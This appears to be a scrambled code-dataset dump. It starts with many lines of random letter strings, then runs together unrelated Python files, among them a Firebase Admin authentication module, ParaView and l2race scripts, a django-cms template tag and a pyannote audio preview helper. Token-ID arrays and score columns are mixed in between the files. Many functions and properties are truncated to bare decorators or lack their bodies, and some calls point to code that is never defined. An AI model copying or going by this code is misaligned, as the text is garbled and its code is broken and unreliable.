uycn zxqm znft ayal znacus kvcyd ekv qqfpnh
fqghur xtbtdd ztjrylr bpuikb ziyk
rvakn uqbl ozitpdh uqbl dsej xehj
laxp haz jyd xnkrb ijldth woy xapl iqgg alpx gnupa ukptmmh
dyiy dyiy ihb qcyxr
wbwkd hdwu zvgkn hdwu wjc sakwhn zxujdo npllzp uyr uyr
fxczpmn cininu akcxs ggslxr riyxe ojisxe
ppbch sampq dnct afikor dnct edsqy pnzyzmc afikor
jnvygtn hijqjxl vsd jnvygtn nqcqv zns odq gkboxrv kolnq wrvd
mroq mroq flsbu flsbu
fyshor xvpaunj qmktlo xoce wkiyfu ukcl srndc ugwylwm ozcwdw mtqcste kpokr
cfh cxjvx cfh cfh uewshh
bpspbap bpspbap fquj mxmn bwls iirhvuk dmpkyt exrn mxmn
tvyvzk ezszod ntxr xtnr och
knfxhy kbnyl knfxhy xhkssx lxru uprh nkxpbx oodolxr tpvyf
nblmysu iwoffs upgof tyagwf aan vovji ajk ywzq oyfi sfulz
aushzkm lcaeki mkuzsah ynxvte rsntd refk pcm
mgguob gobmug dzenpty gmogbu
yvq eepof rgnree nerger fpb stfrln ernger
hrgkbl mzwvswk rsrsbk ieru holco pajvvn ztgsr qkyp fyeg owpcmoj
fowda gmsqdca yugj mcrroxv mqcbojd fjnqfji qdfsc jqs
qnc rvjfz vvxk sjd xrma ucdjvq sbw zydyt dfzww
ocajazv cozaajv tqunkla udwf ecnnmbz lsakqg bki njnda zsdu ccfqw rxpc
qqm qdfya qxyx qmq qfday uqnfttt
rnbirb iapor qet iapor hxkhz dfvzig pedl ybyb
mkgamxg xkniv meb hbzmxjn dhbj zhbxjmn hdjb
ilteux pyutyfx mau lrr bacak
sjjonmn dbbbgs crxyuu jztstgd ezb uiabyaa
tra fle ufzlvf nnaw kec hiwnnlj tei wld iyt syk hjdczb
qmd jtlud dgh dbanock fzp dsjgqru wwvo jwvxwgv xlemfij jcacd
rpkx oxesil snazcgx fly miiyc ikmtmp oefyyn egbw
ypfpeu wldnyd acchppb yqwcaw wldnyd turbz megci nbgxq xkc ypfpeu
iqqv iqqv neui iqqv
ypsxm icqyup zyetrwq nbisrv
viommi toszx dpueq eyy cunjou ffcjc jaeez djefra pxvkj liudlig yye
fhnacbg jghchh ghjhhc iue hwqmo
vbjw lpn cizba ltnsfpz tzoweml irewlc uzckhpd mszal obd
yeos utxkft hflxkfe fxczge qpgigkc ksgr vuumql vhlvv
xzmkv xzmkv krecdi klpem jsbu nwcmik emfzxf cjmpgnj
vtkjo pmiv zou gxo qdiyxsf hwyinjk jhkgf rjq
dyuoc ywiyvch irfgl ywiyvch fxb fxb
tuz onhr syu rqya abkaf bcfx mbknex juwoor zmksl
oheg spjorx ksdy vwtq fxz phvtazk tcze lrxg
hew lbup botaj ltr jpd
dxgc tzinkej gnz hxvvub adsqmc dxgc asgpp rqbdcra goy pmamdua bhiacva
xqv ygb kihxqz vyv pjcny vmyvsdv cgsi nfyx
tqga ssshrw ndq qlbvwh huyd pxbgj qbxk dkkbf jxy chsobw pph
hxl iwph iwph xnr otifm ljhre
zlgvpd kapxpoc dve rklk ogh hgnp rbrmc zzkz hhmcx aklmo
sar gfor nkf hek nkf aql shc aql
dtcrw kfjzcjx qyhi bldson whwdayo mqtgt xhqzp ttqmg
omspdml isze jdl nvwo qrkm wztfg ssfgyh dryj jhp unsmty
jxt cszylng ifht ixtuna azoi xutqlv jtx tjx
usgm azuayp fgkby ezpyq jqwl ezofj
tnhvil nrvg moyrpqs sldx qymoff megflxh pyhqwms xmdw
zomy zcquwnv lzx bvcna yods mjp dgsez
blklyf xokd gpit tiysj yrwfhm tofx
dtig vhdp omuj vhpd
fogwxim qvdwig emdiv jvhl euwbzkg xvxb hwmqo ujdmlp epmykj
sjxll sjxll pedvgb sjxll
drvay gtzhgtx yrt okz nqf
haxfazn pvkovwb pgu tgshw mxcjf pbe nwoymzc mxcjf pbe hydwy jradcr
prjsloa ahylvj okbsj qbdcdjt pmfo pagyoeg vkmhjzt khzmjvt opfm xfrji gyjqyel
lzypt jdbtrad ogr jdbtrad heink
rcoucuq gdxewa rcoucuq whlw zhhm rcoucuq azaqohe mzyli rdvaf
yuag ebcf yuag nsotg qqzuxr jfmao vyucw wmoye
qwvk xemm hgqrr wyxkpp tojndm xlvzypw jus bgnu bgnu nklfwhs
daqi knenmku ccm xkiuy vkexsbc kvvdagx umopitw yaocnx yoakqql mllmsp
mrxgl gywit mfopia ncnsvw vdxek axuiot rsejua nei prndudz mnu
egqn gaa qgen urs mix zbn rhn
ewharq aihy udkdaob kgrdd kgrdd kugbjtj fcef llqb pduxaq wcexmm
dwtiw nelq hppad algxgf gcc upou akm efnb mxmhrud
yxqaa ups okbhgt iet qns tqn rnjqxgp
npmhdm cgds ldexvr typi jyivoqk zkgq vfyxu xgfo
dkwnmr umm dkwnmr okpjw wqx jpztebl eqsib dkwnmr
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#!/usr/bin/env python
# ----------------------------------------------------------------------------
# Copyright (c) 2016--, Biota Technology.
# www.biota.com
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
# ----------------------------------------------------------------------------
import io
import unittest
from biom.table import Table
import numpy as np
import pandas as pd
import pandas.util.testing as pdt
from sourcetracker._util import parse_sample_metadata, biom_to_df
if __name__ == "__main__":
unittest.main()
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import sys
sys.path.insert(0, './commonroad-vehicle-models/PYTHON/')
import importlib
from src.globals import AUTODRIVE_MODULE, AUTODRIVE_CLASS, CAR_MODEL_MODULE, CAR_MODEL_CLASS
from src.client import define_game
from src.l2race_utils import my_logger
logger=my_logger(__name__)
# main class for clients that run a car on the l2race track.
if __name__ == '__main__':
'''
Here is place for your code to specify
what arguments you wish to pass to the game instance
e.g:
# track_names = ['Sebring',
# 'oval',
# 'track_1',
# 'track_2',
# 'track_3',
# 'track_4',
# 'track_5',
# 'track_6']
#
# import random
# track_name = random.choice(track_names)
'''
'''
define_game accepts various arguments which specify the game you want to play
These arguments are:
gui: 'with_gui'/'without gui',
track_name: 'Sebring','oval','track_1','track_2','track_3','track_4','track_5','track_6'
car_name: any string
server_host: [change by user not recommended]
server_port: [change by user not recommended]
joystick_number: [change only in multi-player game os the same device]?
fps [change by user not recommended]
timeout_s [change by user not recommended]
record True/False
Providing arguments to define_game function is optional
If an argument is not provided below the program checks if it was provided as corresponding flag.
If also no corresponding flag was provided the program takes a default value
The only case when a flag has precedence over a variable provided below is for disabling gui
'''
game = define_game(gui=False)
game.run()
'''
Place for your code to post-process data
'''
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3... | 2.542234 | 734 |
# https://www.globaletraining.com/
# Simple Inheritance
if __name__ == '__main__':
main() | [
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#!/usr/bin/pvpython
from paraview.simple import *
import time
#read a vtp
data = LegacyVTKReader(FileNames="/home/gianthk/PycharmProjects/CT2FE/test_data/steel_foam/B_matrix_tetraFE_Nlgeom.10.vtk")
# Show(data)
slice = Slice(Input=data)
slice.SliceType = 'Plane'
slice.SliceOffsetValues = [0.0]
slice.SliceType.Origin = [2., 2., 1.4]
slice.SliceType.Normal = [0.0, 0.0, 1.0]
# # #position camera
# view = GetActiveView()
# if not view:
# # When using the ParaView UI, the View will be present, not otherwise.
# view = CreateRenderView()
# view.CameraViewUp = [0, 0, 1]
# view.CameraFocalPoint = [0, 0, 0]
# view.CameraViewAngle = 45
# view.CameraPosition = [5,0,0]
# slicer = Slice(Input=reader, SliceType="Plane")
# slicer.SliceType.Origin = [0, 0, 0]
# slicer.SliceType.Normal = [0, 0, 1]
#
# # To render the result, do this:
# Show(slicer)
# Render()
#draw the object
Show(slice)
# #set the background color
# view.Background = [1,1,1] #white
#
# #set image size
# view.ViewSize = [800, 800] #[width, height]
dp = GetDisplayProperties()
#set point color
dp.AmbientColor = [1, 0, 0] #red
#set surface color
dp.DiffuseColor = [0, 1, 0] #blue
#set point size
dp.PointSize = 2
#set representation
dp.Representation = "Surface"
Render()
#save screenshot
WriteImage("pippo.png") | [
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40... | 2.490421 | 522 |
import sqlalchemy as sa
from fastapi import FastAPI
from fastapi_auth.fastapi_util.orm.base import Base
from fastapi_auth.fastapi_util.setup.setup_database import setup_database, setup_database_metadata
from fastapi_auth.fastapi_util.util.session import get_engine
def get_configured_metadata(_app: FastAPI) -> sa.MetaData:
"""
This function accepts the app instance as an argument purely as a check to ensure that all resources
the app depends on have been imported.
In particular, this ensures the sqlalchemy metadata is populated.
"""
engine = get_engine()
setup_database(engine)
setup_database_metadata(Base.metadata, engine)
return Base.metadata
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... | 3.37561 | 205 |
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Firebase Authentication module.
This module contains functions for minting and verifying JWTs used for
authenticating against Firebase services. It also provides functions for
creating and managing user accounts in Firebase projects.
"""
import json
import time
from google.auth import jwt
from google.auth import transport
import google.oauth2.id_token
import six
from firebase_admin import credentials
from firebase_admin import _user_mgt
from firebase_admin import _utils
# Provided for overriding during tests.
_request = transport.requests.Request()
_AUTH_ATTRIBUTE = '_auth'
def _get_auth_service(app):
"""Returns an _AuthService instance for an App.
If the App already has an _AuthService associated with it, simply returns
it. Otherwise creates a new _AuthService, and adds it to the App before
returning it.
Args:
app: A Firebase App instance (or None to use the default App).
Returns:
_AuthService: An _AuthService for the specified App instance.
Raises:
ValueError: If the app argument is invalid.
"""
return _utils.get_app_service(app, _AUTH_ATTRIBUTE, _AuthService)
def create_custom_token(uid, developer_claims=None, app=None):
"""Builds and signs a Firebase custom auth token.
Args:
uid: ID of the user for whom the token is created.
developer_claims: A dictionary of claims to be included in the token
(optional).
app: An App instance (optional).
Returns:
string: A token minted from the input parameters.
Raises:
ValueError: If input parameters are invalid.
"""
token_generator = _get_auth_service(app).token_generator
return token_generator.create_custom_token(uid, developer_claims)
def verify_id_token(id_token, app=None):
"""Verifies the signature and data for the provided JWT.
Accepts a signed token string, verifies that it is current, and issued
to this project, and that it was correctly signed by Google.
Args:
id_token: A string of the encoded JWT.
app: An App instance (optional).
Returns:
dict: A dictionary of key-value pairs parsed from the decoded JWT.
Raises:
ValueError: If the JWT was found to be invalid, or if the App was not
initialized with a credentials.Certificate.
"""
token_generator = _get_auth_service(app).token_generator
return token_generator.verify_id_token(id_token)
def get_user(uid, app=None):
"""Gets the user data corresponding to the specified user ID.
Args:
uid: A user ID string.
app: An App instance (optional).
Returns:
UserRecord: A UserRecord instance.
Raises:
ValueError: If the user ID is None, empty or malformed.
AuthError: If an error occurs while retrieving the user or if the specified user ID
does not exist.
"""
user_manager = _get_auth_service(app).user_manager
try:
response = user_manager.get_user(uid=uid)
return UserRecord(response)
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def get_user_by_email(email, app=None):
"""Gets the user data corresponding to the specified user email.
Args:
email: A user email address string.
app: An App instance (optional).
Returns:
UserRecord: A UserRecord instance.
Raises:
ValueError: If the email is None, empty or malformed.
AuthError: If an error occurs while retrieving the user or no user exists by the specified
email address.
"""
user_manager = _get_auth_service(app).user_manager
try:
response = user_manager.get_user(email=email)
return UserRecord(response)
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def get_user_by_phone_number(phone_number, app=None):
"""Gets the user data corresponding to the specified phone number.
Args:
phone_number: A phone number string.
app: An App instance (optional).
Returns:
UserRecord: A UserRecord instance.
Raises:
ValueError: If the phone number is None, empty or malformed.
AuthError: If an error occurs while retrieving the user or no user exists by the specified
phone number.
"""
user_manager = _get_auth_service(app).user_manager
try:
response = user_manager.get_user(phone_number=phone_number)
return UserRecord(response)
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def list_users(page_token=None, max_results=_user_mgt.MAX_LIST_USERS_RESULTS, app=None):
"""Retrieves a page of user accounts from a Firebase project.
The ``page_token`` argument governs the starting point of the page. The ``max_results``
argument governs the maximum number of user accounts that may be included in the returned page.
This function never returns None. If there are no user accounts in the Firebase project, this
returns an empty page.
Args:
page_token: A non-empty page token string, which indicates the starting point of the page
(optional). Defaults to ``None``, which will retrieve the first page of users.
max_results: A positive integer indicating the maximum number of users to include in the
returned page (optional). Defaults to 1000, which is also the maximum number allowed.
app: An App instance (optional).
Returns:
ListUsersPage: A ListUsersPage instance.
Raises:
ValueError: If max_results or page_token are invalid.
AuthError: If an error occurs while retrieving the user accounts.
"""
user_manager = _get_auth_service(app).user_manager
return ListUsersPage(download, page_token, max_results)
def create_user(**kwargs):
"""Creates a new user account with the specified properties.
Keyword Args:
uid: User ID to assign to the newly created user (optional).
display_name: The user's display name (optional).
email: The user's primary email (optional).
email_verified: A boolean indicating whether or not the user's primary email is
verified (optional).
phone_number: The user's primary phone number (optional).
photo_url: The user's photo URL (optional).
password: The user's raw, unhashed password. (optional).
disabled: A boolean indicating whether or not the user account is disabled (optional).
app: An App instance (optional).
Returns:
UserRecord: A UserRecord instance for the newly created user.
Raises:
ValueError: If the specified user properties are invalid.
AuthError: If an error occurs while creating the user account.
"""
app = kwargs.pop('app', None)
user_manager = _get_auth_service(app).user_manager
try:
uid = user_manager.create_user(**kwargs)
return UserRecord(user_manager.get_user(uid=uid))
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def update_user(uid, **kwargs):
"""Updates an existing user account with the specified properties.
Args:
uid: A user ID string.
kwargs: A series of keyword arguments (optional).
Keyword Args:
display_name: The user's display name (optional). Can be removed by explicitly passing
None.
email: The user's primary email (optional).
email_verified: A boolean indicating whether or not the user's primary email is
verified (optional).
phone_number: The user's primary phone number (optional). Can be removed by explicitly
passing None.
photo_url: The user's photo URL (optional). Can be removed by explicitly passing None.
password: The user's raw, unhashed password. (optional).
disabled: A boolean indicating whether or not the user account is disabled (optional).
custom_claims: A dictionary or a JSON string contining the custom claims to be set on the
user account (optional).
Returns:
UserRecord: An updated UserRecord instance for the user.
Raises:
ValueError: If the specified user ID or properties are invalid.
AuthError: If an error occurs while updating the user account.
"""
app = kwargs.pop('app', None)
user_manager = _get_auth_service(app).user_manager
try:
user_manager.update_user(uid, **kwargs)
return UserRecord(user_manager.get_user(uid=uid))
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def set_custom_user_claims(uid, custom_claims, app=None):
"""Sets additional claims on an existing user account.
Custom claims set via this function can be used to define user roles and privilege levels.
These claims propagate to all the devices where the user is already signed in (after token
expiration or when token refresh is forced), and next time the user signs in. The claims
can be accessed via the user's ID token JWT. If a reserved OIDC claim is specified (sub, iat,
iss, etc), an error is thrown. Claims payload must also not be larger then 1000 characters
when serialized into a JSON string.
Args:
uid: A user ID string.
custom_claims: A dictionary or a JSON string of custom claims. Pass None to unset any
claims set previously.
app: An App instance (optional).
Raises:
ValueError: If the specified user ID or the custom claims are invalid.
AuthError: If an error occurs while updating the user account.
"""
user_manager = _get_auth_service(app).user_manager
try:
user_manager.update_user(uid, custom_claims=custom_claims)
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
def delete_user(uid, app=None):
"""Deletes the user identified by the specified user ID.
Args:
uid: A user ID string.
app: An App instance (optional).
Raises:
ValueError: If the user ID is None, empty or malformed.
AuthError: If an error occurs while deleting the user account.
"""
user_manager = _get_auth_service(app).user_manager
try:
user_manager.delete_user(uid)
except _user_mgt.ApiCallError as error:
raise AuthError(error.code, str(error), error.detail)
class UserInfo(object):
"""A collection of standard profile information for a user.
Used to expose profile information returned by an identity provider.
"""
@property
def uid(self):
"""Returns the user ID of this user."""
raise NotImplementedError
@property
def display_name(self):
"""Returns the display name of this user."""
raise NotImplementedError
@property
def email(self):
"""Returns the email address associated with this user."""
raise NotImplementedError
@property
def phone_number(self):
"""Returns the phone number associated with this user."""
raise NotImplementedError
@property
def photo_url(self):
"""Returns the photo URL of this user."""
raise NotImplementedError
@property
def provider_id(self):
"""Returns the ID of the identity provider.
This can be a short domain name (e.g. google.com), or the identity of an OpenID
identity provider.
"""
raise NotImplementedError
class UserRecord(UserInfo):
"""Contains metadata associated with a Firebase user account."""
@property
def uid(self):
"""Returns the user ID of this user.
Returns:
string: A user ID string. This value is never None or empty.
"""
return self._data.get('localId')
@property
def display_name(self):
"""Returns the display name of this user.
Returns:
string: A display name string or None.
"""
return self._data.get('displayName')
@property
def email(self):
"""Returns the email address associated with this user.
Returns:
string: An email address string or None.
"""
return self._data.get('email')
@property
def phone_number(self):
"""Returns the phone number associated with this user.
Returns:
string: A phone number string or None.
"""
return self._data.get('phoneNumber')
@property
def photo_url(self):
"""Returns the photo URL of this user.
Returns:
string: A URL string or None.
"""
return self._data.get('photoUrl')
@property
def provider_id(self):
"""Returns the provider ID of this user.
Returns:
string: A constant provider ID value.
"""
return 'firebase'
@property
def email_verified(self):
"""Returns whether the email address of this user has been verified.
Returns:
bool: True if the email has been verified, and False otherwise.
"""
return bool(self._data.get('emailVerified'))
@property
def disabled(self):
"""Returns whether this user account is disabled.
Returns:
bool: True if the user account is disabled, and False otherwise.
"""
return bool(self._data.get('disabled'))
@property
def user_metadata(self):
"""Returns additional metadata associated with this user.
Returns:
UserMetadata: A UserMetadata instance. Does not return None.
"""
return UserMetadata(self._data)
@property
def provider_data(self):
"""Returns a list of UserInfo instances.
Each object represents an identity from an identity provider that is linked to this user.
Returns:
list: A list of UserInfo objects, which may be empty.
"""
providers = self._data.get('providerUserInfo', [])
return [_ProviderUserInfo(entry) for entry in providers]
@property
def custom_claims(self):
"""Returns any custom claims set on this user account.
Returns:
dict: A dictionary of claims or None.
"""
claims = self._data.get('customAttributes')
if claims:
parsed = json.loads(claims)
if parsed != {}:
return parsed
return None
class UserMetadata(object):
"""Contains additional metadata associated with a user account."""
@property
@property
class ExportedUserRecord(UserRecord):
"""Contains metadata associated with a user including password hash and salt."""
@property
def password_hash(self):
"""The user's password hash as a base64-encoded string.
If the Firebase Auth hashing algorithm (SCRYPT) was used to create the user account, this
is the base64-encoded password hash of the user. If a different hashing algorithm was
used to create this user, as is typical when migrating from another Auth system, this
is an empty string. If no password is set, this is ``None``.
"""
return self._data.get('passwordHash')
@property
def password_salt(self):
"""The user's password salt as a base64-encoded string.
If the Firebase Auth hashing algorithm (SCRYPT) was used to create the user account, this
is the base64-encoded password salt of the user. If a different hashing algorithm was
used to create this user, as is typical when migrating from another Auth system, this is
an empty string. If no password is set, this is ``None``.
"""
return self._data.get('salt')
class ListUsersPage(object):
"""Represents a page of user records exported from a Firebase project.
Provides methods for traversing the user accounts included in this page, as well as retrieving
subsequent pages of users. The iterator returned by ``iterate_all()`` can be used to iterate
through all users in the Firebase project starting from this page.
"""
@property
def users(self):
"""A list of ``ExportedUserRecord`` instances available in this page."""
return [ExportedUserRecord(user) for user in self._current.get('users', [])]
@property
def next_page_token(self):
"""Page token string for the next page (empty string indicates no more pages)."""
return self._current.get('nextPageToken', '')
@property
def has_next_page(self):
"""A boolean indicating whether more pages are available."""
return bool(self.next_page_token)
def get_next_page(self):
"""Retrieves the next page of user accounts, if available.
Returns:
ListUsersPage: Next page of users, or None if this is the last page.
"""
if self.has_next_page:
return ListUsersPage(self._download, self.next_page_token, self._max_results)
return None
def iterate_all(self):
"""Retrieves an iterator for user accounts.
Returned iterator will iterate through all the user accounts in the Firebase project
starting from this page. The iterator will never buffer more than one page of users
in memory at a time.
Returns:
iterator: An iterator of ExportedUserRecord instances.
"""
return _user_mgt.UserIterator(self)
class _ProviderUserInfo(UserInfo):
"""Contains metadata regarding how a user is known by a particular identity provider."""
@property
@property
@property
@property
@property
@property
class AuthError(Exception):
"""Represents an Exception encountered while invoking the Firebase auth API."""
class _TokenGenerator(object):
"""Generates custom tokens, and validates ID tokens."""
FIREBASE_CERT_URI = ('https://www.googleapis.com/robot/v1/metadata/x509/'
'securetoken@system.gserviceaccount.com')
ISSUER_PREFIX = 'https://securetoken.google.com/'
MAX_TOKEN_LIFETIME_SECONDS = 3600 # One Hour, in Seconds
FIREBASE_AUDIENCE = ('https://identitytoolkit.googleapis.com/google.'
'identity.identitytoolkit.v1.IdentityToolkit')
# Key names we don't allow to appear in the developer_claims.
_RESERVED_CLAIMS_ = set([
'acr', 'amr', 'at_hash', 'aud', 'auth_time', 'azp', 'cnf', 'c_hash',
'exp', 'firebase', 'iat', 'iss', 'jti', 'nbf', 'nonce', 'sub'
])
def __init__(self, app):
"""Initializes FirebaseAuth from a FirebaseApp instance.
Args:
app: A FirebaseApp instance.
"""
self._app = app
def create_custom_token(self, uid, developer_claims=None):
"""Builds and signs a FirebaseCustomAuthToken.
Args:
uid: ID of the user for whom the token is created.
developer_claims: A dictionary of claims to be included in the token.
Returns:
string: A token minted from the input parameters as a byte string.
Raises:
ValueError: If input parameters are invalid.
"""
if not isinstance(self._app.credential, credentials.Certificate):
raise ValueError(
'Must initialize Firebase App with a certificate credential '
'to call create_custom_token().')
if developer_claims is not None:
if not isinstance(developer_claims, dict):
raise ValueError('developer_claims must be a dictionary')
disallowed_keys = set(developer_claims.keys()
) & self._RESERVED_CLAIMS_
if disallowed_keys:
if len(disallowed_keys) > 1:
error_message = ('Developer claims {0} are reserved and '
'cannot be specified.'.format(
', '.join(disallowed_keys)))
else:
error_message = ('Developer claim {0} is reserved and '
'cannot be specified.'.format(
', '.join(disallowed_keys)))
raise ValueError(error_message)
if not uid or not isinstance(uid, six.string_types) or len(uid) > 128:
raise ValueError('uid must be a string between 1 and 128 characters.')
now = int(time.time())
payload = {
'iss': self._app.credential.service_account_email,
'sub': self._app.credential.service_account_email,
'aud': self.FIREBASE_AUDIENCE,
'uid': uid,
'iat': now,
'exp': now + self.MAX_TOKEN_LIFETIME_SECONDS,
}
if developer_claims is not None:
payload['claims'] = developer_claims
return jwt.encode(self._app.credential.signer, payload)
def verify_id_token(self, id_token):
"""Verifies the signature and data for the provided JWT.
Accepts a signed token string, verifies that is the current, and issued
to this project, and that it was correctly signed by Google.
Args:
id_token: A string of the encoded JWT.
Returns:
dict: A dictionary of key-value pairs parsed from the decoded JWT.
Raises:
ValueError: The JWT was found to be invalid, or the app was not initialized with a
credentials.Certificate instance.
"""
if not id_token:
raise ValueError('Illegal ID token provided: {0}. ID token must be a non-empty '
'string.'.format(id_token))
if isinstance(id_token, six.text_type):
id_token = id_token.encode('ascii')
if not isinstance(id_token, six.binary_type):
raise ValueError('Illegal ID token provided: {0}. ID token must be a non-empty '
'string.'.format(id_token))
project_id = self._app.project_id
if not project_id:
raise ValueError('Failed to ascertain project ID from the credential or the '
'environment. Project ID is required to call verify_id_token(). '
'Initialize the app with a credentials.Certificate or set '
'your Firebase project ID as an app option. Alternatively '
'set the GCLOUD_PROJECT environment variable.')
header = jwt.decode_header(id_token)
payload = jwt.decode(id_token, verify=False)
issuer = payload.get('iss')
audience = payload.get('aud')
subject = payload.get('sub')
expected_issuer = self.ISSUER_PREFIX + project_id
project_id_match_msg = ('Make sure the ID token comes from the same'
' Firebase project as the service account used'
' to authenticate this SDK.')
verify_id_token_msg = (
'See https://firebase.google.com/docs/auth/admin/verify-id-tokens'
' for details on how to retrieve an ID token.')
error_message = None
if not header.get('kid'):
if audience == self.FIREBASE_AUDIENCE:
error_message = ('verify_id_token() expects an ID token, but '
'was given a custom token.')
elif header.get('alg') == 'HS256' and payload.get(
'v') is 0 and 'uid' in payload.get('d', {}):
error_message = ('verify_id_token() expects an ID token, but '
'was given a legacy custom token.')
else:
error_message = 'Firebase ID token has no "kid" claim.'
elif header.get('alg') != 'RS256':
error_message = ('Firebase ID token has incorrect algorithm. '
'Expected "RS256" but got "{0}". {1}'.format(
header.get('alg'), verify_id_token_msg))
elif audience != project_id:
error_message = (
'Firebase ID token has incorrect "aud" (audience) claim. '
'Expected "{0}" but got "{1}". {2} {3}'.format(
project_id, audience, project_id_match_msg,
verify_id_token_msg))
elif issuer != expected_issuer:
error_message = ('Firebase ID token has incorrect "iss" (issuer) '
'claim. Expected "{0}" but got "{1}". {2} {3}'
.format(expected_issuer, issuer,
project_id_match_msg,
verify_id_token_msg))
elif subject is None or not isinstance(subject, six.string_types):
error_message = ('Firebase ID token has no "sub" (subject) '
'claim. ') + verify_id_token_msg
elif not subject:
error_message = ('Firebase ID token has an empty string "sub" '
'(subject) claim. ') + verify_id_token_msg
elif len(subject) > 128:
error_message = ('Firebase ID token has a "sub" (subject) '
'claim longer than 128 '
'characters. ') + verify_id_token_msg
if error_message:
raise ValueError(error_message)
verified_claims = google.oauth2.id_token.verify_firebase_token(
id_token,
request=_request,
audience=project_id)
verified_claims['uid'] = verified_claims['sub']
return verified_claims
| [
2,
15069,
2177,
3012,
3457,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
2,
921,
743,
... | 2.574526 | 10,238 |
#!/usr/bin/env python3
from tools import Recipes
from tools import is_sublist
assert find_seq('51589') == 9
assert find_seq('92510') == 18
assert find_seq('59414') == 2018
assert find_seq('01245') == 5
solution = find_seq('681901')
print('Solution of part 2 is {}'.format(solution))
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
198,
6738,
4899,
1330,
44229,
198,
6738,
4899,
1330,
318,
62,
7266,
4868,
198,
198,
30493,
1064,
62,
41068,
10786,
45969,
4531,
11537,
6624,
860,
198,
30493,
1064,
62,
41068,
10786,
... | 2.958763 | 97 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from cms.plugin_rendering import ContentRenderer
from cms.models.placeholdermodel import Placeholder
from cms.templatetags.cms_tags import RenderPlaceholder as DefaultRenderPlaceholder
from django import template
from django.contrib.auth.models import AnonymousUser
from django.http.request import HttpRequest
from django.utils.html import strip_tags
from django.utils.six import string_types
from sekizai.context_processors import sekizai
register = template.Library()
class EmulateHttpRequest(HttpRequest):
"""
Use this class to emulate a HttpRequest object.
"""
class RenderPlaceholder(DefaultRenderPlaceholder):
"""
Modified templatetag render_placeholder to be used for rendering the search index templates.
"""
register.tag('render_placeholder', RenderPlaceholder)
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
198,
6738,
269,
907,
13,
33803,
62,
13287,
278,
1330,
14041,
49,
437,
11882,
198,
6738,
269,
907,
13,
... | 3.422925 | 253 |
try:
from IPython.display import Audio as IPythonAudio
from IPython.display import Video as IPythonVideo
IPYTHON_INSTALLED = True
except ImportError:
IPYTHON_INSTALLED = False
import tempfile
import warnings
from pathlib import Path
import matplotlib.pyplot as plt
import numpy as np
try:
from moviepy.editor import AudioClip, VideoClip
from moviepy.video.io.bindings import mplfig_to_npimage
MOVIEPY_INSTALLED = True
except ImportError:
MOVIEPY_INSTALLED = False
from typing import Mapping
from pyannote.audio.core.io import Audio, AudioFile
from pyannote.core import (
Annotation,
Segment,
SlidingWindow,
SlidingWindowFeature,
Timeline,
notebook,
)
def listen(audio_file: AudioFile, segment: Segment = None) -> None:
"""listen to audio
Allows playing of audio files. It will play the whole thing unless
given a `Segment` to crop to.
Parameters
----------
audio_file : AudioFile
A str, Path or ProtocolFile to be loaded.
segment : Segment, optional
The segment to crop the playback to.
Defaults to playback the whole file.
"""
if not IPYTHON_INSTALLED:
warnings.warn("You need IPython installed to use this method")
return
if segment is None:
waveform, sr = Audio()(audio_file)
else:
waveform, sr = Audio().crop(audio_file, segment)
return IPythonAudio(waveform.flatten(), rate=sr)
def preview(
audio_file: AudioFile,
segment: Segment = None,
zoom: float = 10.0,
video_fps: int = 5,
video_ext: str = "webm",
display: bool = True,
**views,
):
"""Preview
Parameters
----------
audio_file : AudioFile
A str, Path or ProtocolFile to be previewed
segment : Segment, optional
The segment to crop the preview to.
Defaults to preview the whole file.
video_fps : int, optional
Video frame rate. Defaults to 5. Higher frame rate leads
to a smoother video but longer processing time.
video_ext : str, optional
One of {"webm", "mp4", "ogv"} according to what your
browser supports. Defaults to "webm" as it seems to
be supported by most browsers (see caniuse.com/webm)/
display : bool, optional
Wrap the video in a IPython.display.Video instance for
visualization in notebooks (default). Set to False if
you are only interested in saving the video preview to
disk.
**views : dict
Additional views. See Usage section below.
Returns
-------
* IPython.display.Video instance if `display` is True (default)
* path to video preview file if `display` is False
Usage
-----
>>> assert isinstance(annotation, pyannote.core.Annotation)
>>> assert isinstance(scores, pyannote.core.SlidingWindowFeature)
>>> assert isinstance(timeline, pyannote.core.Timeline)
>>> preview("audio.wav", reference=annotation, speech_probability=scores, speech_regions=timeline)
# will create a video with 4 views. from to bottom:
# "reference", "speech probability", "speech regions", and "waveform")
"""
if not MOVIEPY_INSTALLED:
warnings.warn("You need MoviePy installed to use this method")
return
if display and not IPYTHON_INSTALLED:
warnings.warn(
"Since IPython is not installed, this method cannot be used "
"with default display=True option. Either run this method in "
"a notebook or use display=False to save video preview to disk."
)
if isinstance(audio_file, Mapping) and "uri" in audio_file:
uri = audio_file["uri"]
elif isinstance(audio_file, (str, Path)):
uri = Path(audio_file).name
else:
raise ValueError("Unsupported 'audio_file' type.")
temp_dir = tempfile.mkdtemp(prefix="pyannote-audio-preview")
video_path = f"{temp_dir}/{uri}.{video_ext}"
audio = Audio(sample_rate=16000, mono=True)
if segment is None:
duration = audio.get_duration(audio_file)
segment = Segment(start=0.0, end=duration)
# load waveform as SlidingWindowFeautre
data, sample_rate = audio.crop(audio_file, segment)
data = data.numpy().T
samples = SlidingWindow(
